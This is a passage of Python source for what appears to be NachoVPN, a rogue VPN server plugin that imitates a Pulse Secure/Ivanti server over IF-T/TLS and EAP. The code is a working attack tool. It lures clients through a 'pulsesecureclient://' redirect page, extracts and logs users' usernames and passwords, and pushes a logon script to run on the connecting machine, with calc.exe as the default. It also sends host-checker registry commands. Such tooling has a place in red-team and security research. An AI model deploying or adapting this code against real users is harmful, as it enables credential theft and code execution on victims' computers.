checks\n            if rule[\"type\"] == \"DWORD\":\n                try:\n                    int(rule[\"value\"])\n                except Exception as e:\n                    return False, f\"Rule at index {idx} has value for type {rule['type']} that cannot be parsed as integer: {rule['value']!r}: {e}\"\n            else:\n                if not isinstance(rule[\"value\"], str) or not rule[\"value\"].strip():\n                    return False, f\"Rule at index {idx} has invalid or empty string value for type {rule['type']}\"\n\n        return True, None\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.logon_script = os.getenv(\"PULSE_LOGON_SCRIPT\", \"C:\\\\Windows\\\\System32\\\\calc.exe\")\n        self.logon_script_macos = os.getenv(\"PULSE_LOGON_SCRIPT_MACOS\", \"\")\n        self.dns_suffix = os.getenv(\"PULSE_DNS_SUFFIX\", \"nachovpn.local\")\n        self.anonymous_auth = os.getenv(\"PULSE_ANONYMOUS_AUTH\", \"false\").lower() == 'true'\n        self.pulse_username = os.getenv(\"PULSE_USERNAME\", \"\")\n        self.pulse_save_connection = os.getenv(\"PULSE_SAVE_CONNECTION\", \"false\").lower() == 'true'\n        self.vpn_name = os.getenv(\"VPN_NAME\", \"NachoVPN\")\n        self._eap_identifier = 1\n\n        # Host checker policy\n        self.host_checker_policy_id = f\"vc0|43|policy_2|1|woot\"\n\n        # Load rules from JSON file\n        self.host_checker_rules_file = os.getenv(\"PULSE_HOST_CHECKER_RULES_FILE\")\n        self.host_checker_rules = None\n        if not self.host_checker_rules_file:\n            self.logger.error(\"PULSE_HOST_CHECKER_RULES_FILE environment variable must be set to a JSON rules file.\")\n        else:\n            try:\n                with open(self.host_checker_rules_file, 'r', encoding='utf-8') as f:\n                    rules = json.load(f)\n\n                valid, error = self.validate_rules(rules)\n                if not valid:\n                    self.logger.error(f\"Host checker rules validation failed: {error}\")\n                else:\n                    self.host_checker_rules = rules\n                    self.logger.info(f\"Loaded host checker rules from {self.host_checker_rules_file}\")\n            except Exception as e:\n                self.logger.error(f\"Failed to load host checker rules from {self.host_checker_rules_file}: {e}\")\n\n        self.buffer_size = 4096\n        self.max_packet_size = 65535\n\n    def close(self):\n        self.ssl_server_socket.close()\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        if len(data) >= 4 and int.from_bytes(data[:4], 'big') == VENDOR_TCG:\n            return True\n        return False\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        if 'odJPAService' in user_agent or \\\n           'Secure%20Access' in user_agent or \\\n           handler.path == '/pulse':\n            return True\n        return False\n\n    def handle_http(self, handler):\n        if handler.command == 'GET':\n            self.handle_get(handler)\n        return True\n\n    def has_credentials(self, data):\n        # TODO: actually check properly\n        if len(data) < 20 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        # lazy: check for host checker signature\n        if b'\\xFE\\x00\\x0A\\x4C\\x00\\x00\\x00\\x03' in data:\n            return False\n\n        user_avp = AVP.from_bytes(data[8:])\n        if user_avp.code == 0xD6D:\n            return True\n        return False\n\n    def extract_credentials(self, data):\n        # seems to be: EXPANDED_JUNIPER + subtype=0x01 + AVP(0xd6d)\n        if len(data) < 20 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        data = data[8:]\n        user_avp = AVP.from_bytes(data)\n\n        if user_avp.code != 0xD6D:\n            return False\n\n        username = user_avp.value.decode()\n        self.logger.info(f'Extracted username: {username}')\n\n        # remove any padding\n        padding_size = user_avp.padding_required()\n        data = data[user_avp.length+padding_size:]\n\n        # the next bytes *should* be 0x4f in big endian\n        if int.from_bytes(data[0:4], 'big') != 79:\n            self.logger.error('AVP_CODE_EAP_MESSAGE not found')\n            return False\n\n        if len(data) < 0x16:\n            self.logger.error('Data too short to extract password')\n            return False\n\n        # there are some other fields/headers here we should maybe check\n        # but for now we'll just extract the password\n        length = int(data[0x16]) - 2\n        if len(data) < 0x17 + length:\n            self.logger.error('Data too short to extract password')\n            return False\n\n        password = data[0x17:0x17+length].decode()\n        self.logger.info(f'Extracted password: {password}')\n        self.log_credentials(username, password)\n        return True\n\n    def handle_get(self, handler):\n        if handler.path == '/':\n            self.logger.info('Switching protocols ..')\n            handler.send_response(101)\n            handler.send_header('Content-Type', 'application/octet-stream')\n            handler.send_header('Pragma', 'no-cache')\n            handler.send_header('Upgrade', 'IF-T/TLS 1.0')\n            handler.send_header('Connection', 'Upgrade')\n            handler.send_header('HC_HMAC_VERSION_COOKIE', '1')\n            handler.send_header('supportSHA2Signature', '1')\n            handler.send_header('Connection', 'Keep-Alive')\n            handler.send_header('Keep-Alive', 'timeout=15')\n            handler.send_header('Strict-Transport-Security', 'max-age=31536000')\n            handler.send_header('accept-ch', 'Sec-CH-UA-Platform-Version')\n            handler.end_headers()\n\n            # transition to IF-T/TLS\n            self.logger.info('Transitioning to IF-T/TLS ..')\n            self.handle_data(None, handler.connection, handler.client_address[0])\n\n        elif handler.path == '/pulse':\n            self.logger.info('Sending URI handler response ..')\n            html = \"<html><body><script>window.location.href=\" \\\n                   f\"`pulsesecureclient://connect?name={self.vpn_name}&server=\" \\\n                   \"https://${document.domain}&userrealm=Users&\" \\\n                   f\"username={self.pulse_username}&store={str(self.pulse_save_connection).lower()}`;\" \\\n                   \"</script></body></html>\"\n            handler.send_response(200)\n            handler.send_header('Content-Type', 'text/html')\n            handler.end_headers()\n            handler.wfile.write(html.encode())\n\n    def next_eap_identifier(self):\n        self._eap_identifier += 1\n        if self._eap_identifier >= 5:\n            self._eap_identifier = 1\n        return self._eap_identifier\n\n    def is_policy_request(self, data):\n        result = self.is_policy_type(data) and b'parameter name=\"policy_request\"' in data\n        self.logger.debug(f'is_policy_request: {result}')\n        return result\n\n    def is_policy_type(self, data):\n        # seems to be: EXPANDED_JUNIPER + 0x01 + AVP(0xd6d)\n        if len(data) < 20 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        data = data[8:]\n        user_avp = AVP.from_bytes(data)\n\n        if user_avp.code != 0xD6D:\n            return False\n\n        username = user_avp.value.decode()\n        self.logger.info(f'Extracted username: {username}')\n\n        # remove any padding\n        padding_size = user_avp.padding_required()\n        data = data[user_avp.length+padding_size:]\n\n        # the next bytes *should* be 0x4f in big endian\n        if int.from_bytes(data[0:4], 'big') != 79:\n            self.logger.error('AVP_CODE_EAP_MESSAGE not found')\n            return False\n\n        return True\n\n    def expanded_juniper_subtype(self, data):\n        if len(data) < 8 or \\\n           int.from_bytes(data[0:4], 'big') != EXPANDED_JUNIPER:\n            return None\n        return int.from_bytes(data[4:8], 'big')\n\n    def is_funk_message(self, data):\n        if len(data) < 16 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        # lazy: just check for the 0xD6D AVP and the funk message signature\n        # TODO: create an EXPANDED_JUNIPER class for easier (de)serialization\n        user_avp = AVP.from_bytes(data[8:])\n        if user_avp.code == 0xD6D and b'\\x00\\x00\\x00\\x16\\xC0\\x00\\x00' in data:\n            return True\n        return False\n\n    def is_client_info(self, data):\n        self.logger.debug(f'is_client_info input: {data.hex()}')\n        if len(data) < 24 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        data = data[8:]\n\n        # check if the first AVP is 0xD49\n        avp = AVP.from_bytes(data)\n        if avp.code != 0xD49:\n            return False\n\n        self.logger.info(f\"AVP: Code={avp.code:04X}, Value={avp.value.hex()}\")\n\n        # check if the second AVP is 0xD61\n        data = data[avp.length+avp.padding_required():]\n        avp = AVP.from_bytes(data)\n        if avp.code != 0xD61:\n            return False\n\n        self.logger.info(f\"AVP: Code={avp.code:04X}, Value={avp.value.hex()}\")\n\n        # read the rest of the AVPs\n        # TODO: log the client provided AVP data\n        # this contains OS info, user-agent, etc.\n        data = data[avp.length+avp.padding_required():]\n        while len(data) > 0:\n            avp = AVP.from_bytes(data)\n            self.logger.info(f\"AVP: Code={avp.code:04X}, Value={avp.value.hex()}\")\n            data = data[avp.length+avp.padding_required():]\n\n        return True\n\n    def auth_completed(self, data):\n        if len(data) < 24 or self.expanded_juniper_subtype(data) != 1:\n            return False\n\n        avp = AVP.from_bytes(data[8:])\n        return avp.code == 0xD6B and \\\n               int.from_bytes(avp.value, 'big') == 0x10\n\n    def parse_eap_packet(self, data, client_socket, connection_id):\n        outbuf = bytearray()\n        if int.from_bytes(data[0:4], 'big') != JUNIPER_1:\n            self.logger.warning('Received invalid EAP packet')\n            return outbuf\n\n        eap_in = EAPPacket.from_bytes(data)\n        self.logger.debug(eap_in)\n\n        # EAP Packet: Vendor=0xa4c01, Code=2, Identifier=0x1, Length=14, Data=01616e6f6e796d6f7573\n        if eap_in.code == EAP_RESPONSE and eap_in.identifier == 1 and not self.anonymous_auth and eap_in.eap_data[1:] == b'anonymous':\n            self.logger.info('Received anonymous auth, sending server info ..')\n\n            # Add the AVP data\n            avp_list = []\n            avp_list.append(AVP(code=0xD49, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=(4).to_bytes(4, 'big')))\n            avp_list.append(AVP(code=0xD4A, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=(1).to_bytes(4, 'big')))\n            avp_list.append(AVP(code=0xD56, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=LICENSE_ID.encode()))\n\n            # Create the EAP data from AVP\n            eap_data = bytearray()\n            eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n            eap_data += (1).to_bytes(4, 'big')\n\n            for avp in avp_list:\n                eap_data += avp.to_bytes(include_padding=True)\n\n            # Construct EAP packet\n            eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=self.next_eap_identifier(), eap_data=eap_data)\n\n            # Build IFT packet\n            reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x5, message_identifier=0x01F7, message_value=eap.to_bytes())\n\n            # Append to output buffer\n            outbuf += reply.to_bytes()\n\n        # EAP Packet: Vendor=0xa4c01, Code=2, Identifier=0x2, Length=296, Data=fe000a4c0000000100000d4980000010000005830000000400000d61 ..\n        elif eap_in.code == EAP_RESPONSE and not self.anonymous_auth and not self.host_checker_rules and self.is_client_info(eap_in.eap_data):\n            self.logger.info('Received AVP structures with OS data. Asking for creds..')\n\n            outer_eap_data = bytearray()\n            outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n            outer_eap_data += (1).to_bytes(4, 'big')\n\n            # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n            inner_eap_data = bytearray()\n            inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n            inner_eap_data += (2).to_bytes(4, 'big')                # subtype: J2\n            inner_eap_data += J2_PASSREQ.to_bytes(1, 'big')         # J2 password request\n\n            inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x00, eap_data=inner_eap_data)\n\n            # Build the AVP data from inner EAP data (without vendor)\n            avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n            # Add AVP data to outer EAP data\n            outer_eap_data += avp.to_bytes(include_padding=True)\n\n            # Construct outer EAP packet\n            outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=self.next_eap_identifier(), eap_data=outer_eap_data)\n\n            # Build IFT packet\n            reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01F8, message_value=outer_eap.to_bytes())\n\n            # Append to output buffer\n            outbuf += reply.to_bytes()\n\n        # EAP Packet: Vendor=0xa4c01, Code=2, Identifier=0x3, Length=56, Data=fe000a4c0000000100000d6d8000001000000583616161610000004f4000001a02000012fe000a4c000000020202056161610583\n        elif eap_in.code == EAP_RESPONSE and (self.anonymous_auth and eap_in.eap_data[1:] == b'anonymous') or self.has_credentials(eap_in.eap_data):\n\n            self.logger.info('Received credentials, sending back some cookies ..')\n\n            if not self.anonymous_auth and not self.extract_credentials(eap_in.eap_data):\n                self.logger.warning(\"Failed to extract credentials\")\n                return bytearray()\n\n            # Build the AVP data dynamically using the AVP class\n            avp_list = []\n            avp_list.append(AVP(code=0xD53, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=os.urandom(16).hex().encode())) # DSID cookie\n            avp_list.append(AVP(code=0xD8B, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=os.urandom(8).hex().encode()))  # ??\n            avp_list.append(AVP(code=0xD8D, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=bytearray()))                           # ??\n            avp_list.append(AVP(code=0xD5C, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=(3600).to_bytes(4, 'big')))     # auth expiry\n            avp_list.append(AVP(code=0xD54, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'10.0.1.4'))\n            avp_list.append(AVP(code=0xD55, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=self.get_thumbprint()['md5'].encode()))    # cert MD5\n            avp_list.append(AVP(code=0xD6B, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'\\x00\\x00\\x00\\x10'))           # ??\n            avp_list.append(AVP(code=0xD75, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'\\x00\\x00\\x00\\x00'))           # idle timeout\n            avp_list.append(AVP(code=0xD57, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'\\x00\\x00\\x00\\x00'))           # ??\n\n            # Create the EAP data\n            eap_data = bytearray()\n\n            # EXPANDED_JUNIPER struct\n            eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n            eap_data += (1).to_bytes(4, 'big') # subtype\n\n            # Add AVPs\n            for avp in avp_list:\n                eap_data += avp.to_bytes()\n\n            # Construct EAP packet\n            eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=self.next_eap_identifier(), eap_data=eap_data)\n\n            # Build IFT packet\n            reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=IFT_CLIENT_AUTH_CHALLENGE, message_identifier=0x01FB,\n                                   message_value=eap.to_bytes())\n\n            # Append to output buffer\n            outbuf += reply.to_bytes()\n\n        # EAP Packet: Vendor=0xa4c01, Code=2, Identifier=0x4, Length=28, Data=fe000a4c0000000100000d6b800000100000058300000010\n        elif eap_in.code == EAP_RESPONSE and self.auth_completed(eap_in.eap_data):\n            self.logger.info('Auth completed, sending configuration and launching application...')\n            outbuf = bytearray()\n\n            # Get the assigned IP from the packet handler\n            client_ip = self.packet_handler.get_assigned_ip(connection_id)\n            if not client_ip:\n                self.logger.error(\"No IP allocated for client\")\n                return outbuf\n\n            # Auth response (ok)\n            eap = EAPPacket(vendor=JUNIPER_1, code=EAP_SUCCESS, identifier=self.next_eap_identifier(), eap_data=bytearray())\n            reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=IFT_CLIENT_AUTH_SUCCESS, message_identifier=0x01FD, message_value=eap.to_bytes())\n            client_socket.sendall(reply.to_bytes())\n\n            # config packet, wrapped with IF-T\n            generator = VPNConfigGenerator(\n                logon_script=self.logon_script,\n                logon_script_macos=self.logon_script_macos,\n                client_ip=client_ip\n            )\n            config = generator.create_config()[0x10:]\n            reply = IFTPacket(vendor_id=VENDOR_JUNIPER, message_type=1, message_identifier=0x01FE, message_value=config)\n            client_socket.sendall(reply.to_bytes())\n\n            # now send the ESP config\n            esp_config = ESPConfigGenerator().create_config()\n            reply = IFTPacket(vendor_id=VENDOR_JUNIPER, message_type=1, message_identifier=0x200, message_value=esp_config)\n            client_socket.sendall(reply.to_bytes())\n\n            # End of configuration packet\n            reply = IFTPacket(vendor_id=VENDOR_JUNIPER, message_type=0x8F, message_identifier=0x201, message_value=b'\\x00\\x00\\x00\\x00')\n            client_socket.sendall(reply.to_bytes())\n\n            # Final packet - send the license ID\n            reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x96, message_identifier=0x202, message_value=LICENSE_ID.encode())\n            client_socket.sendall(reply.to_bytes())\n\n        # This branch handles all EAP response messages for the host checker\n        elif eap_in.code == EAP_RESPONSE and self.host_checker_rules and not self.anonymous_auth:\n            self.logger.info('Received EAP_RESPONSE for host checker')\n            # TODO: we got a policy response, we need to actually parse the result\n            if b'policy:vc0' in eap_in.eap_data and b'status:OK' in eap_in.eap_data:\n                self.logger.info('Received host checker OK response. Asking for creds..')\n\n                outer_eap_data = bytearray()\n                outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                outer_eap_data += (1).to_bytes(4, 'big')\n\n                # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n                inner_eap_data = bytearray()\n                inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                inner_eap_data += (2).to_bytes(4, 'big')                # subtype: J2\n                inner_eap_data += J2_PASSREQ.to_bytes(1, 'big')         # J2 password request\n\n                inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x00, eap_data=inner_eap_data)\n\n                # Build the AVP data from inner EAP data (without vendor)\n                avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n                # Add AVP data to outer EAP data\n                outer_eap_data += avp.to_bytes(include_padding=True)\n\n                # Construct outer EAP packet\n                outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x05, eap_data=outer_eap_data)\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01FA, message_value=outer_eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n            elif b'policy:vc0' in eap_in.eap_data and b'status:NOTOK' in eap_in.eap_data:\n                self.logger.info('Received host checker NOT OK response. Sending remediation packet..')\n                # TODO: same here, we need to actually parse the result\n                # The client indicated that the policy was not OK, so we need to send a remediation packet\n\n                # EAP within AVP within EAP within EAP within IF-T/TLS\n                outer_eap_data = bytearray()\n                outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                outer_eap_data += (1).to_bytes(4, 'big')\n\n                # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n                inner_eap_data = bytearray()\n                inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                inner_eap_data += (3).to_bytes(4, 'big')\n                inner_eap_data += b'\\x01' # no idea, maybe number of policies?\n\n                # Build a host-checker policy with a registry command\n                commands = FunkManager.remediation_command(policy_id=self.host_checker_policy_id)\n                policy = FunkManager.generate(commands)\n\n                # Wrap it in an EAP request\n                inner_eap_data += policy\n                inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x03, eap_data=inner_eap_data)\n\n                # Build the AVP data from inner EAP data (without vendor)\n                avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n                # Add AVP data to outer EAP data\n                outer_eap_data += avp.to_bytes(include_padding=True)\n\n                # Construct outer EAP packet\n                outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x05, eap_data=outer_eap_data)\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01FA, message_value=outer_eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n            elif self.is_funk_message(eap_in.eap_data):\n                self.logger.info('Received funk message')\n                # The client sends an EAP_RESPONSE with a compressed policy message\n                # IFT_CLIENT_AUTH_RESPONSE: Id=0x0000\n                # EAP_RESPONSE: Vendor=JUNIPER_1, Code=EAP_RESPONSE, Id=0x05, Length=0x088\n                # EXPANDED_JUNIPER: Subtype=0x01\n                # AVP: 0x0D6D=admin..\n                # Followed by compressed policy message from client\n                # => 0000000000 00 00 55 97 00 00 00 06 00 00 00 9c 00 00 00 00   ..U.............\n                # => 0000000010 00 0a 4c 01 02 05 00 88 fe 00 0a 4c 00 00 00 01   ..L........L....\n                # => 0000000020 00 00 0d 6d 80 00 00 11 00 00 05 83 61 64 6d 69   ...m........admi\n                # => 0000000030 6e 00 0d 61 00 00 00 4f 40 00 00 65 02 03 00 5d   n..a...O@..e...]\n                # => 0000000040 fe 00 0a 4c 00 00 00 03 01 00 00 00 16 c0 00 00   ...L............\n                # => 0000000050 4e 00 00 05 83 00 00 00 40 78 9c 63 60 e0 79 72   N.......@x.c`.yr\n                # => 0000000060 80 81 81 87 81 81 b5 19 48 3d 05 b2 95 40 6c c7   ........H=...@l.\n                # => 0000000070 e4 e4 d4 82 12 5d 9f c4 bc f4 d2 c4 f4 54 2b 85   .....].......T+.\n                # => 0000000080 d4 3c dd d0 60 06 20 e0 f9 dc c0 c0 20 00 51 cf   .<..`. ..... .Q.\n                # => 0000000090 c0 08 00 ed ae 0e 5b 00 00 4f 4b 0a               ......[..OK.\n\n                # Decompressed message:\n                # 0x0ce5: Accept-Language: en-US\n                # 0x0cf3: 1\n                # 00000000  00 00 0c e4 c0 00 00 0c 00 00 05 83 00 00 0c e5  |...äÀ..........å|\n                # 00000010  c0 00 00 22 00 00 05 83 41 63 63 65 70 74 2d 4c  |À..\"....Accept-L|\n                # 00000020  61 6e 67 75 61 67 65 3a 20 65 6e 2d 55 53 00 00  |Language: en-US..|\n                # 00000030  00 00 0c f3 80 00 00 10 00 00 05 83 00 00 00 01  |...ó............|\n\n                # TODO:\n                # we should parse the client message, but for now we can just reply with\n                # some AVP codes which indicate an error has occurred\n                # at this point we might be able to complete auth instead of sending an error (to avoid disconnect)\n                avp_list = []\n                avp_list.append(AVP(code=0xD57, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'\\x00\\x00\\x00\\x00'))\n                avp_list.append(AVP(code=0xD60, flags=AVP_VENDOR, vendor=VENDOR_JUNIPER2, value=b'\\x00\\x00\\x00\\x00'))\n\n                # Create the EAP data\n                eap_data = bytearray()\n\n                # EXPANDED_JUNIPER struct\n                eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                eap_data += (1).to_bytes(4, 'big') # subtype\n\n                # Add AVPs\n                for avp in avp_list:\n                    eap_data += avp.to_bytes(include_padding=True)\n\n                # Construct EAP packet\n                eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x06, eap_data=eap_data)\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=IFT_CLIENT_AUTH_CHALLENGE, message_identifier=0x01FB,\n                                    message_value=eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n            elif eap_in.length == 0x0C and self.expanded_juniper_subtype(eap_in.eap_data) == 1:\n                # Now the client sends an EAP_RESPONSE ..\n                # containing an empty EXPANDED_JUNIPER structure with subtype 0x01\n                \"\"\"\n                # Client:\n                # IFT_CLIENT_AUTH_RESPONSE: Id=0x0000\n                # EAP: Vendor=JUNIPER_1, Code=EAP_RESPONSE, Id=0x06, Length=0x0C\n                # EXPANDED_JUNIPER: Subtype=0x01\n                => 0000000000 00 00 55 97 00 00 00 06 00 00 00 20 00 00 00 00   ..U........ ....\n                => 0000000010 00 0a 4c 01 02 06 00 0c fe 00 0a 4c 00 00 00 01   ..L........L....\n                \"\"\"\n                # we can just reply to with an EAP_FAILURE\n                \"\"\"\n                # Server:\n                # IFT_CLIENT_AUTH_CHALLENGE: Id=0x01fc\n                # EAP: Vendor=JUNIPER_1, Code=EAP_FAILURE, Id=0x06, Length=0x04\n                <= 0000000000 00 00 55 97 00 00 00 05 00 00 00 18 00 00 01 fc   ..U.............\n                <= 0000000010 00 0a 4c 01 04 06 00 04                           ..L.....\n                \"\"\"\n                self.logger.error('Host checker NOT OK')\n\n                # Construct EAP packet\n                eap = EAPPacket(vendor=JUNIPER_1, code=EAP_FAILURE, identifier=0x06, eap_data=bytearray())\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=IFT_CLIENT_AUTH_CHALLENGE, message_identifier=0x01FC,\n                                    message_value=eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n            # Receive host-checker policy request and send back policy\n            elif self.is_policy_request(eap_in.eap_data):\n                self.logger.info('Received host-checker policy request.')\n\n                if not self.host_checker_rules:\n                    self.logger.error(\"No host checker rules loaded. Not sending policy.\")\n                    return outbuf\n\n                # EAP within AVP within EAP within IF-T/TLS\n                outer_eap_data = bytearray()\n                outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')   # EXPANDED_JUNIPER\n                outer_eap_data += (1).to_bytes(4, 'big')                # subtype\n\n                # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n                inner_eap_data = bytearray()\n                inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')   # EXPANDED_JUNIPER\n                inner_eap_data += (3).to_bytes(4, 'big')                # subtype (host checker)\n                inner_eap_data += (1).to_bytes(1, 'big')                # number of policies\n\n                self.logger.info(f'Sending host checker policy: {self.host_checker_policy_id}')\n                commands = FunkManager.registry_command(rules=self.host_checker_rules, server_time=True, policy_id=self.host_checker_policy_id)\n                policy = FunkManager.generate(commands)\n                self.logger.info(f'Generated host checker policy: {policy.hex()}')\n\n                # Wrap it in an EAP request\n                inner_eap_data += policy\n                inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x02, eap_data=inner_eap_data)\n\n                # Build the AVP data from inner EAP data (without vendor)\n                avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n                # Add AVP data to outer EAP data\n                outer_eap_data += avp.to_bytes(include_padding=True)\n\n                # Construct outer EAP packet\n                outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x04, eap_data=outer_eap_data)\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01F9, message_value=outer_eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n            # Prompt for host-checker policy\n            elif self.is_client_info(eap_in.eap_data):\n                self.logger.info('Received AVP structures with OS data. Prompting for host checker..')\n\n                # The client indicated that the policy was not OK, so we need to send a remediation packet\n                # EAP within AVP within EAP within IF-T/TLS\n                outer_eap_data = bytearray()\n                outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                outer_eap_data += (1).to_bytes(4, 'big')\n\n                # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n                inner_eap_data = bytearray()\n                inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n                inner_eap_data += (3).to_bytes(4, 'big')\n                inner_eap_data += b'\\x21' # unknown: prompt for host-checker policy request\n\n                inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x01, eap_data=inner_eap_data)\n\n                # Build the AVP data from inner EAP data (without vendor)\n                avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n                # Add AVP data to outer EAP data\n                outer_eap_data += avp.to_bytes(include_padding=True)\n\n                # Construct outer EAP packet\n                outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x03, eap_data=outer_eap_data)\n\n                # Build IFT packet\n                reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01F8, message_value=outer_eap.to_bytes())\n\n                # Append to output buffer\n                outbuf += reply.to_bytes()\n\n        return outbuf\n\n    def _wrap_packet(self, packet_data, client):\n        \"\"\"Wrap an IP packet in IF-T/TLS format.\"\"\"\n        # Create IF-T packet with the IP packet as the message value\n        packet = IFTPacket(\n            vendor_id=VENDOR_JUNIPER,\n            message_type=0x4,\n            message_identifier=0,\n            message_value=packet_data\n        )\n        return packet.to_bytes()\n\n    def handle_data(self, data, client_socket, client_ip):\n        try:\n            client_socket.setblocking(True)\n            client_socket.settimeout(10)\n            connection_id, _ = self.packet_handler.create_session(client_socket, self._wrap_packet)\n            buf = bytearray()\n            if data:\n                buf.extend(data)\n\n            while True:\n                # Read more data if we don't have a full header\n                while len(buf) < 16:\n                    try:\n                        chunk = client_socket.recv(self.buffer_size)\n                        if not chunk:\n                            return True\n                        buf.extend(chunk)\n                    except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):\n                        continue\n\n                # Parse the message length from the header\n                msg_len = int.from_bytes(buf[8:12], 'big')\n                if msg_len < 16 or msg_len > self.max_packet_size:\n                    self.logger.error(f\"Invalid IF-T/TLS length {msg_len}; dropping connection\")\n                    return False\n\n                # If we don't have the full message yet, read more\n                if len(buf) < msg_len:\n                    try:\n                        chunk = client_socket.recv(self.buffer_size)\n                        if not chunk:\n                            return True\n                        buf.extend(chunk)\n                        continue\n                    except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):\n                        continue\n\n                # We have a full message\n                packet = bytes(buf[:msg_len])\n                del buf[:msg_len]\n\n                try:\n                    # Pass connection_id to process\n                    resp = self.process(packet, client_socket, connection_id)\n                    if resp:\n                        client_socket.sendall(resp)\n                except Exception as e:\n                    self.logger.error(f\"Error processing packet: {e}\")\n\n        except Exception as e:\n            self.logger.error(f\"Error in handle_data: {e}\")\n        finally:\n            try:\n                self.packet_handler.destroy_session(connection_id)\n                client_socket.close()\n            except Exception:\n                pass\n        return True\n\n    def process(self, data, client_socket, connection_id):\n        \"\"\"Parse a complete IF-T/TLS frame and build any response frames\"\"\"\n        outbuf = bytearray()\n\n        while data:\n            # Parse a single IF-T/TLS packet\n            self.logger.debug(f'inbuf: {data.hex()}')\n\n            try:\n                reader = io.BytesIO(data)\n                packet = IFTPacket.from_io(reader)\n                data = reader.read()\n            except Exception as e:\n                self.logger.error(f'Failed to parse IF-T/TLS packet: {e}')\n                break\n\n            # Handle packet types\n            if packet.message_type == IFT_VERSION_REQUEST:\n                self.logger.info('Got IFT_VERSION_REQUEST')\n                reply = IFTPacket(\n                    vendor_id=VENDOR_TCG,\n                    